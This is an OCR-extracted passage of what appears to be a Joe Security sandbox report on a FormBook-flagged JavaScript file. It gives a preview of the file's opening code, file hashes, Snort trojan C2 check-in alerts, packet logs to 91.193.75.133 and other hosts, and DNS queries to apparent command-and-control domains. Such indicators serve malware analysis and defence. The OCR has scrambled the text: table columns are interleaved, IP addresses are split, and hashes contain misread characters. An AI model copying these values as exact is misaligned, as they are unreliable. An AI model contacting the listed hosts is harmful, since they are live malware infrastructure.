Preview: typeof (lArray.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call
(thisArg, this[i], i, this);.  }.}: 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array =[];. for (vari=0;i < this.
length; i++) {. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : O, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var
values = this;. if (typeof initial === "\x75\x6e\x64\x65\x66\x69\x6e\x65\x64") {. initial = 0;.  }. values.forEach(function (item, index) {. initial = fn(initial, item,
index, this);. });. returninitial;.} : 0);.function __p_0340118291(__p_4766291975, _ p_4155494791){. switch (__p_6273300347){. case -426:. return
_ p_4766291975 + _ p_4155494791;. case 183.. return __p_4766291975/

Static File Info

General

File type: ASCII text, with very long lines

Entropy (8bit):  5.6313544540988

TriD:

File name: CIQ-P0O162667.js

File size: 345985

MD5: 3d6bfb78b4507146f160b706604da6f9

SHA1L: 9c189911fb19625¢1f9418096fb8b5c65b1d34e9

SHA256: b92b2c3a689cd2c5929f4123642004b7f23482c036dbf467813a18c91b3537df

SHA512: 0c46c578449d0586898d48a3020241390b0b395229be0177c68815e759cch6cf3f216a890ecfff8eefd41b975e3818d586610adf1d0f2blc6a91c68cdldbabdc

SSDEEP: 6144:vJ2rO571/9SCe0X4HxfHPUjncpk+psFAcqGGErm6lUcApLgA5Zg3u9VhkvYgaW:vI2rO57JAt/xfvmepkosFIGIm6UcjAwY

TLSH: 2E74BF218740AF999A944807E07E1E4F56F3136AD433F2CCB79B390B2BBEEOD5716895

File Content typeof (!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {.

Preview: callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.prot

File Icon

Icon Hash: e8d69ece968a9ecs

Network Behavior

Snort IDS Alerts

Di
Timestamp Protocol SID Message SLITIEED | L Source IP Dest IP
Port Port

192.168.2.3154.220.100.1 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49933 80 192.168.2.3  154.220.100.

4249933802031453 3 142

05/27/22-

17:29:24.560625

192.168.2.3154.220.100.1 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49933 80 192.168.2.3  154.220.100.

4249933802031412 2 142

05/27/22-

17:29:24.560625

192.168.2.3134.122.201.2 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49968 80 192.168.2.3  134.122.201.

1749968802031449 9 217

05/27/22-

17:30:23.869829

192.168.2.3154.220.100.1 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49937 80 192.168.2.3  154.220.100.

4249937802031449 9 142

05/27/22-

17:29:31.125715

192.168.2.3188.114.96.34 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49953 80 192.168.2.3 188.114.96.3

9953802031453 3

05/27/22-

17:30:05.703103

192.168.2.33.64.163.5049 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49800 80 192.168.2.3  3.64.163.50

800802031453 05/27/22- 3

17:27:24.994398
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Timestamp Protocol

192.168.2.3172.96.186.20 TCP
449821802031412

05/27/22-

17:28:01.005195

192.168.2.33.64.163.5049 TCP
800802031412 05/27/22-
17:27:24.994398

192.168.2.3172.96.186.20 TCP
449821802031453

05/27/22-

17:28:01.005195

192.168.2.3134.122.201.2 TCP
1749944802031412

05/27/22-

17:29:42.403310

192.168.2.3188.114.96.34 TCP
9953802031449

05/27/22-

17:30:05.703103

192.168.2.3103.247.11.21 TCP
249963802031412

05/27/22-

17:30:17.737248

192.168.2.3172.96.186.20 TCP
449957802031449

05/27/22-

17:30:11.063091

192.168.2.3132.148.165.1 TCP
1149831802031449

05/27/22-

17:28:12.333281

192.168.2.3160.153.136.3 TCP
49838802031453

05/27/22-

17:28:18.048566

192.168.2.3160.153.136.3 TCP
49838802031412

05/27/22-

17:28:18.048566

192.168.2.3134.122.201.2 TCP
1749845802031449

05/27/22-

17:28:23.735454

192.168.2.3134.122.201.2 TCP
1749944802031453

05/27/22-

17:29:42.403310

192.168.2.33.64.163.5049 TCP
800802031449 05/27/22-
17:27:24.994398

192.168.2.3154.220.100.1 TCP
4249933802031449

05/27/22-

17:29:24.560625

192.168.2.3154.220.100.1 TCP
4249937802031412

05/27/22-

17:29:31.125715

192.168.2.3154.220.100.1 TCP
4249937802031453

05/27/22-

17:29:31.125715

192.168.2.3134.122.201.2 TCP
1749968802031453

05/27/22-

17:30:23.869829

192.168.2.3103.247.11.21 TCP
249963802031453

05/27/22-

17:30:17.737248

192.168.2.3134.122.201.2 TCP
1749968802031412

05/27/22-

17:30:23.869829

192.168.2.3172.96.186.20 TCP
449821802031449

05/27/22-

17:28:01.005195

Copyright Joe Security LLC 2022

SID
203141

2

203141
2

203145
3

203141
2

203144
9

203141
2

203144
9

203144
9

203145
3

203141
2

203144
9

203145
3

203144
9

203144
9

203141
2

203145
3

203145
3

203145
3

203141
2

203144
9

Message

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Source
Port

49821

49800

49821

49944

49953

49963

49957

49831

49838

49838

49845

49944

49800

49933

49937

49937

49968

49963

49968

49821

Dest
Port

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Dest IP

172.96.186.2
04

3.64.163.50

172.96.186.2
04

134.122.201.
217

188.114.96.3

103.247.11.2
12

172.96.186.2
04

132.148.165.
111

160.153.136.
3

160.153.136.
3

134.122.201.
217

134.122.201.
217

3.64.163.50

154.220.100.
142

154.220.100.
142

154.220.100.
142

134.122.201.
217

103.247.11.2
12

134.122.201.
217

172.96.186.2
04
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Timestamp Protocol

192.168.2.3134.122.201.2 TCP
1749944802031449

05/27/22-

17:29:42.403310

192.168.2.3172.96.186.20 TCP
449957802031453

05/27/22-

17:30:11.063091

192.168.2.3188.114.96.34 TCP
9953802031412

05/27/22-

17:30:05.703103

192.168.2.3103.247.11.21 TCP
249963802031449

05/27/22-

17:30:17.737248

192.168.2.3134.122.201.2 TCP
1749845802031453

05/27/22-

17:28:23.735454

192.168.2.3172.96.186.20 TCP
449957802031412

05/27/22-

17:30:11.063091

192.168.2.3134.122.201.2 TCP
1749845802031412

05/27/22-

17:28:23.735454

192.168.2.3132.148.165.1 TCP
1149831802031412

05/27/22-

17:28:12.333281

192.168.2.3160.153.136.3 TCP
49838802031449

05/27/22-

17:28:18.048566

192.168.2.3132.148.165.1 TCP
1149831802031453

05/27/22-

17:28:12.333281

Network Port Distribution

TCP Packets

Timestamp

SID
203144

9

203145
3

203141
2

203144
9

203145
3

203141
2

203141
2

203141
2

203144
9

203145
3

May 27, 2022 17:25:32.155395031 CEST

May 27, 2022 17:25:32.195547104 CEST

May 27, 2022 17:25:32.881258965 CEST

May 27, 2022 17:25:32.921070099 CEST

May 27, 2022 17:25:33.489934921 CEST

May 27, 2022 17:25:33.530041933 CEST

May 27, 2022 17:25:40.880253077 CEST
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Message

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Source Port
49740

6670

49740

6670

49740

6670

49742

Total Packets: 91

® 53 (DNS)
® 6670 undefined

Dest Port
6670
49740
6670
49740
6670
49740
6670

Source IP
192.168.2.3
91.193.75.133
192.168.2.3
91.193.75.133
192.168.2.3
91.193.75.133
192.168.2.3

Source
Port

49944

49957

49953

49963

49845

49957

49845

49831

49838

49831

Dest Source IP
Port

80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3

Dest IP

91.193.75.133

192.168.2.3

91.193.75.133

192.168.2.3

91.193.75.133

192.168.2.3

91.193.75.133

Dest IP

134.122.201.
217

172.96.186.2
04

188.114.96.3

103.247.11.2
12

134.122.201.
217

172.96.186.2
04

134.122.201.
217

132.148.165.
111

160.153.136.
3

132.148.165.
111
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Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 17:25:40.920198917 CEST 6670 49742 91.193.75.133 192.168.2.3
May 27, 2022 17:25:41.568753958 CEST 49742 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:41.608678102 CEST 6670 49742 91.193.75.133 192.168.2.3
May 27, 2022 17:25:42.183012009 CEST 49742 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:42.222928047 CEST 6670 49742 91.193.75.133 192.168.2.3
May 27, 2022 17:25:47.221739054 CEST 49743 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:47.261666059 CEST 6670 49743 91.193.75.133 192.168.2.3
May 27, 2022 17:25:47.787986040 CEST 49743 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:47.827929020 CEST 6670 49743 91.193.75.133 192.168.2.3
May 27, 2022 17:25:48.381812096 CEST 49743 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:48.421761990 CEST 6670 49743 91.193.75.133 192.168.2.3
May 27, 2022 17:25:49.417604923 CEST 49744 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:49.461059093 CEST 6670 49744 91.193.75.133 192.168.2.3
May 27, 2022 17:25:49.991260052 CEST 49744 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:50.031102896 CEST 6670 49744 91.193.75.133 192.168.2.3
May 27, 2022 17:25:50.694478989 CEST 49744 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:50.734383106 CEST 6670 49744 91.193.75.133 192.168.2.3
May 27, 2022 17:25:55.891096115 CEST 49749 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:55.931176901 CEST 6670 49749 91.193.75.133 192.168.2.3
May 27, 2022 17:25:56.491871119 CEST 49749 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:56.531702042 CEST 6670 49749 91.193.75.133 192.168.2.3
May 27, 2022 17:25:57.195061922 CEST 49749 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:25:57.235064983 CEST 6670 49749 91.193.75.133 192.168.2.3
May 27, 2022 17:26:01.282747030 CEST 49751 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:01.322820902 CEST 6670 49751 91.193.75.133 192.168.2.3
May 27, 2022 17:26:01.883547068 CEST 49751 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:01.923772097 CEST 6670 49751 91.193.75.133 192.168.2.3
May 27, 2022 17:26:01.944669962 CEST 49753 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:01.984812021 CEST 6670 49753 91.193.75.133 192.168.2.3
May 27, 2022 17:26:02.476723909 CEST 49751 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:02.492367029 CEST 49753 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:02.516709089 CEST 6670 49751 91.193.75.133 192.168.2.3
May 27, 2022 17:26:02.532370090 CEST 6670 49753 91.193.75.133 192.168.2.3
May 27, 2022 17:26:03.169802904 CEST 49753 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:03.209805012 CEST 6670 49753 91.193.75.133 192.168.2.3
May 27, 2022 17:26:04.434468031 CEST 49754 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:04.475342989 CEST 6670 49754 91.193.75.133 192.168.2.3
May 27, 2022 17:26:04.992563009 CEST 49754 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:05.032469034 CEST 6670 49754 91.193.75.133 192.168.2.3
May 27, 2022 17:26:05.631946087 CEST 49754 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:05.671927929 CEST 6670 49754 91.193.75.133 192.168.2.3
May 27, 2022 17:26:06.432982922 CEST 49757 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:06.472819090 CEST 6670 49757 91.193.75.133 192.168.2.3
May 27, 2022 17:26:06.977179050 CEST 49757 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:07.017168999 CEST 6670 49757 91.193.75.133 192.168.2.3
May 27, 2022 17:26:07.570887089 CEST 49757 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:07.610861063 CEST 6670 49757 91.193.75.133 192.168.2.3
May 27, 2022 17:26:09.642302036 CEST 49758 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:09.682218075 CEST 6670 49758 91.193.75.133 192.168.2.3
May 27, 2022 17:26:10.383616924 CEST 49758 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:10.415282965 CEST 49759 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:10.425657034 CEST 6670 49758 91.193.75.133 192.168.2.3
May 27, 2022 17:26:10.457442999 CEST 6670 49759 91.193.75.133 192.168.2.3
May 27, 2022 17:26:11.071278095 CEST 49758 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:11.078571081 CEST 49759 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:11.111860037 CEST 6670 49758 91.193.75.133 192.168.2.3
May 27, 2022 17:26:11.118995905 CEST 6670 49759 91.193.75.133 192.168.2.3
May 27, 2022 17:26:11.696263075 CEST 49759 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:11.736211061 CEST 6670 49759 91.193.75.133 192.168.2.3
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May 27, 2022 17:26:13.152821064 CEST 49760 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:13.192826033 CEST 6670 49760 91.193.75.133 192.168.2.3
May 27, 2022 17:26:13.790159941 CEST 49760 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:13.830086946 CEST 6670 49760 91.193.75.133 192.168.2.3
May 27, 2022 17:26:14.383996964 CEST 49760 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:14.424001932 CEST 6670 49760 91.193.75.133 192.168.2.3
May 27, 2022 17:26:14.939563990 CEST 49761 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:14.979720116 CEST 6670 49761 91.193.75.133 192.168.2.3
May 27, 2022 17:26:15.493444920 CEST 49761 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:15.533490896 CEST 6670 49761 91.193.75.133 192.168.2.3
May 27, 2022 17:26:16.196708918 CEST 49761 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:16.236979961 CEST 6670 49761 91.193.75.133 192.168.2.3
May 27, 2022 17:26:20.531219959 CEST 49762 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:20.571042061 CEST 6670 49762 91.193.75.133 192.168.2.3
May 27, 2022 17:26:20.620388985 CEST 49763 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:20.660603046 CEST 6670 49763 91.193.75.133 192.168.2.3
May 27, 2022 17:26:21.181536913 CEST 49763 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:21.197082043 CEST 49762 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:21.221488953 CEST 6670 49763 91.193.75.133 192.168.2.3
May 27, 2022 17:26:21.237077951 CEST 6670 49762 91.193.75.133 192.168.2.3
May 27, 2022 17:26:21.598205090 CEST 49764 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:21.638204098 CEST 6670 49764 91.193.75.133 192.168.2.3
May 27, 2022 17:26:21.790858984 CEST 49762 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:21.830800056 CEST 6670 49762 91.193.75.133 192.168.2.3
May 27, 2022 17:26:21.884576082 CEST 49763 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:21.924546957 CEST 6670 49763 91.193.75.133 192.168.2.3
May 27, 2022 17:26:22.290913105 CEST 49764 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:22.330971003 CEST 6670 49764 91.193.75.133 192.168.2.3
May 27, 2022 17:26:22.884744883 CEST 49764 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:22.924623013 CEST 6670 49764 91.193.75.133 192.168.2.3
May 27, 2022 17:26:23.571230888 CEST 49767 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:23.611126900 CEST 6670 49767 91.193.75.133 192.168.2.3
May 27, 2022 17:26:24.150940895 CEST 49767 6670 192.168.2.3 91.193.75.133
May 27, 2022 17:26:24.190949917 CEST 6670 49767 91.193.75.133 192.168.2.3
UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 17:25:32.067955971 CEST 49316 53 192.168.2.3 8.8.8.8

May 27, 2022 17:25:32.098737001 CEST 53 49316 8.8.8.8 192.168.2.3
May 27, 2022 17:25:47.057924032 CEST 56417 53 192.168.2.3 8.8.8.8

May 27, 2022 17:25:47.196666002 CEST 53 56417 8.8.8.8 192.168.2.3
May 27, 2022 17:26:01.776845932 CEST 58116 53 192.168.2.3 8.8.8.8

May 27, 2022 17:26:01.812160969 CEST 53 58116 8.8.8.8 192.168.2.3
May 27, 2022 17:26:06.375699997 CEST 65358 53 192.168.2.3 8.8.8.8

May 27, 2022 17:26:06.406650066 CEST 53 65358 8.8.8.8 192.168.2.3
May 27, 2022 17:27:24.938270092 CEST 65266 53 192.168.2.3 8.8.8.8

May 27, 2022 17:27:24.961823940 CEST 53 65266 8.8.8.8 192.168.2.3
May 27, 2022 17:27:30.019699097 CEST 63332 53 192.168.2.3 8.8.8.8

May 27, 2022 17:27:31.047168016 CEST 63332 53 192.168.2.3 8.8.8.8

May 27, 2022 17:27:32.109879971 CEST 63332 53 192.168.2.3 8.8.8.8

May 27, 2022 17:27:33.046371937 CEST 53 63332 8.8.8.8 192.168.2.3
May 27, 2022 17:27:34.073144913 CEST 53 63332 8.8.8.8 192.168.2.3
May 27, 2022 17:27:36.282948971 CEST 53 63332 8.8.8.8 192.168.2.3
May 27, 2022 17:27:38.061975002 CEST 63548 53 192.168.2.3 8.8.8.8

May 27, 2022 17:27:38.101828098 CEST 53 63548 8.8.8.8 192.168.2.3
May 27, 2022 17:27:43.234648943 CEST 49327 53 192.168.2.3 8.8.8.8

May 27, 2022 17:27:43.264148951 CEST 53 49327 8.8.8.8 192.168.2.3
May 27, 2022 17:28:00.670990944 CEST 51391 53 192.168.2.3 8.8.8.8
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May 27, 2022 17:28:00.700830936 CEST 53 51391 8.8.8.8 192.168.2.3
May 27, 2022 17:28:06.527759075 CEST 58981 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:06.564562082 CEST 53 58981 8.8.8.8 192.168.2.3
May 27, 2022 17:28:11.812067986 CEST 64452 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:11.836102009 CEST 53 64452 8.8.8.8 192.168.2.3
May 27, 2022 17:28:17.919642925 CEST 61380 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:17.954860926 CEST 53 61380 8.8.8.8 192.168.2.3
May 27, 2022 17:28:23.087810993 CEST 52810 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:23.115675926 CEST 53 52810 8.8.8.8 192.168.2.3
May 27, 2022 17:28:28.948553085 CEST 63861 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:29.121670961 CEST 53 63861 8.8.8.8 192.168.2.3
May 27, 2022 17:28:35.617120981 CEST 55403 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:36.617506981 CEST 55403 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:37.633487940 CEST 55403 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:39.664586067 CEST 55403 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:40.636276960 CEST 53 55403 8.8.8.8 192.168.2.3
May 27, 2022 17:28:40.640434027 CEST 50608 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:41.633126974 CEST 50608 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:41.636045933 CEST 53 55403 8.8.8.8 192.168.2.3
May 27, 2022 17:28:42.651958942 CEST 53 55403 8.8.8.8 192.168.2.3
May 27, 2022 17:28:42.664824963 CEST 50608 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:44.664686918 CEST 50608 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:44.683697939 CEST 53 55403 8.8.8.8 192.168.2.3
May 27, 2022 17:28:45.660510063 CEST 53 50608 8.8.8.8 192.168.2.3
May 27, 2022 17:28:45.666920900 CEST 54205 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:46.653044939 CEST 53 50608 8.8.8.8 192.168.2.3
May 27, 2022 17:28:46.665541887 CEST 54205 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:47.683701992 CEST 53 50608 8.8.8.8 192.168.2.3
May 27, 2022 17:28:47.712492943 CEST 54205 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:49.683775902 CEST 53 50608 8.8.8.8 192.168.2.3
May 27, 2022 17:28:49.758766890 CEST 54205 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:50.685674906 CEST 53 54205 8.8.8.8 192.168.2.3
May 27, 2022 17:28:51.685244083 CEST 53 54205 8.8.8.8 192.168.2.3
May 27, 2022 17:28:52.731858015 CEST 53 54205 8.8.8.8 192.168.2.3
May 27, 2022 17:28:54.777863979 CEST 53 54205 8.8.8.8 192.168.2.3
May 27, 2022 17:28:55.731044054 CEST 62756 53 192.168.2.3 8.8.8.8
May 27, 2022 17:28:55.754422903 CEST 53 62756 8.8.8.8 192.168.2.3
May 27, 2022 17:29:06.390045881 CEST 58497 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:06.413223982 CEST 53 58497 8.8.8.8 192.168.2.3
May 27, 2022 17:29:11.910007954 CEST 62701 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:11.933219910 CEST 53 62701 8.8.8.8 192.168.2.3
May 27, 2022 17:29:11.936590910 CEST 53524 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:11.987289906 CEST 53 53524 8.8.8.8 192.168.2.3
May 27, 2022 17:29:11.990504026 CEST 58561 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:12.015453100 CEST 53 58561 8.8.8.8 192.168.2.3
May 27, 2022 17:29:23.705012083 CEST 61555 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:23.910990000 CEST 53 61555 8.8.8.8 192.168.2.3
May 27, 2022 17:29:30.903989077 CEST 64433 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:30.921365023 CEST 53 64433 8.8.8.8 192.168.2.3
May 27, 2022 17:29:36.623456955 CEST 62547 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:36.648458958 CEST 53 62547 8.8.8.8 192.168.2.3
May 27, 2022 17:29:41.748725891 CEST 54096 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:41.774302959 CEST 53 54096 8.8.8.8 192.168.2.3
May 27, 2022 17:29:59.500695944 CEST 57829 53 192.168.2.3 8.8.8.8
May 27, 2022 17:29:59.676589012 CEST 53 57829 8.8.8.8 192.168.2.3
May 27, 2022 17:30:05.520665884 CEST 63326 53 192.168.2.3 8.8.8.8
May 27, 2022 17:30:05.546082020 CEST 53 63326 8.8.8.8 192.168.2.3
May 27, 2022 17:30:10.752101898 CEST 49230 53 192.168.2.3 8.8.8.8
May 27, 2022 17:30:10.781694889 CEST 53 49230 8.8.8.8 192.168.2.3
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May 27, 2022 17:30:16.579817057 CEST 65334 53 192.168.2.3 8.8.8.8
May 27, 2022 17:30:16.603677988 CEST 53 65334 8.8.8.8 192.168.2.3
ICMP Packets
Timestamp Source IP Dest IP Checksum Code Type
May 27, 2022 17:27:34.075294018 CEST 192.168.2.3 8.8.8.8 cffé (Port Destination
unreachable) Unreachable
May 27, 2022 17:27:36.283102989 CEST 192.168.2.3 8.8.8.8 cffé (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:41.636138916 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:42.654469967 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:44.683820963 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:46.653273106 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:47.683809996 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:49.685306072 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:51.685344934 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:52.731950998 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
May 27, 2022 17:28:54.778107882 CEST 192.168.2.3 8.8.8.8 doo3 (Port Destination
unreachable) Unreachable
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
May 27, 2022 17:25:32.067955971 CEST 192.168.2.3 8.8.8.8 0x88f7 Standard query  dilshadkha A (IP address) IN (0x0001)
(0) n.duia.ro
May 27, 2022 17:25:47.057924032 CEST 192.168.2.3 8.8.8.8 Oxbba9 Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 17:26:01.776845932 CEST 192.168.2.3 8.8.8.8 0x759b Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 17:26:06.375699997 CEST 192.168.2.3 8.8.8.8 Oxfeba Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 17:27:24.938270092 CEST 192.168.2.3 8.8.8.8 0x3a8c Standard query  www.brandp A (IP address) IN (0x0001)
©0) ay.xyz
May 27, 2022 17:27:30.019699097 CEST 192.168.2.3 8.8.8.8 0x6460 Standard query  www.gafcbo A (IP address) IN (0x0001)
0) oster.com
May 27, 2022 17:27:31.047168016 CEST 192.168.2.3 8.8.8.8 0x6460 Standard query  www.gafcbo A (IP address) IN (0x0001)
0) oster.com
May 27, 2022 17:27:32.109879971 CEST 192.168.2.3 8.8.8.8 0x6460 Standard query  www.gafcbo A (IP address) IN (0x0001)
0) oster.com
May 27, 2022 17:27:38.061975002 CEST 192.168.2.3 8.8.8.8 Oxed29 Standard query  www.brawlh A (IP address) IN (0x0001)
0) allacodest
ore.com
May 27, 2022 17:27:43.234648943 CEST 192.168.2.3 8.8.8.8 0x3b07 Standard query  www.toping A (IP address)  IN (0x0001)
0) s33.com
May 27, 2022 17:28:00.670990944 CEST 192.168.2.3 8.8.8.8 0x3e5b Standard query  www.liveaf A (IP address) IN (0x0001)
(0) unday.xyz
May 27, 2022 17:28:06.527759075 CEST 192.168.2.3 8.8.8.8 0x3d3d Standard query  www.siberup.xyz A (IP address) IN (0x0001)
0
May 27, 2022 17:28:11.812067986 CEST 192.168.2.3 8.8.8.8 0x76d8 Standard query  www.kishan A (IP address) IN (0x0001)
(0) shree.com
May 27, 2022 17:28:17.919642925 CEST 192.168.2.3 8.8.8.8 0xc522 Standard query  www.rashee A (IP address) IN (0x0001)
(0) dabossmove
s.com
May 27, 2022 17:28:23.087810993 CEST 192.168.2.3 8.8.8.8 0x9bf5 Standard query  www.o7oiwlp.xyz A (IP address) IN (0x0001)
0
May 27, 2022 17:28:28.948553085 CEST 192.168.2.3 8.8.8.8 0x557 Standard query  www.ratebill.com A (IP address) IN (0x0001)
@
May 27, 2022 17:28:35.617120981 CEST 192.168.2.3 8.8.8.8 Oxcal8 Standard query  www.thepow A (IP address) IN (0x0001)
(0) erofanopen

question.com

Copyright Joe Security LLC 2022 Page 37 of 87



Timestamp

May 27, 2022 17:28:36.617506981 CEST

May 27, 2022 17:28:37.633487940 CEST

May 27, 2022 17:28:39.664586067 CEST

May 27, 2022 17:28:40.640434027 CEST

May 27, 2022 17:28:41.633126974 CEST

May 27, 2022 17:28:42.664824963 CEST

May 27, 2022 17:28:44.664686918 CEST

May 27, 2022 17:28:45.666920900 CEST

May 27, 2022 17:28:46.665541887 CEST

May 27, 2022 17:28:47.712492943 CEST

May 27, 2022 17:28:49.758766890 CEST

May 27, 2022 17:28:55.731044054 CEST

May 27, 2022 17:29:06.390045881 CEST

May 27, 2022 17:29:11.910007954 CEST

May 27, 2022 17:29:11.936590910 CEST

May 27, 2022 17:29:11.990504026 CEST

May 27, 2022 17:29:23.705012083 CEST

May 27, 2022 17:29:30.903989077 CEST

May 27, 2022 17:29:36.623456955 CEST

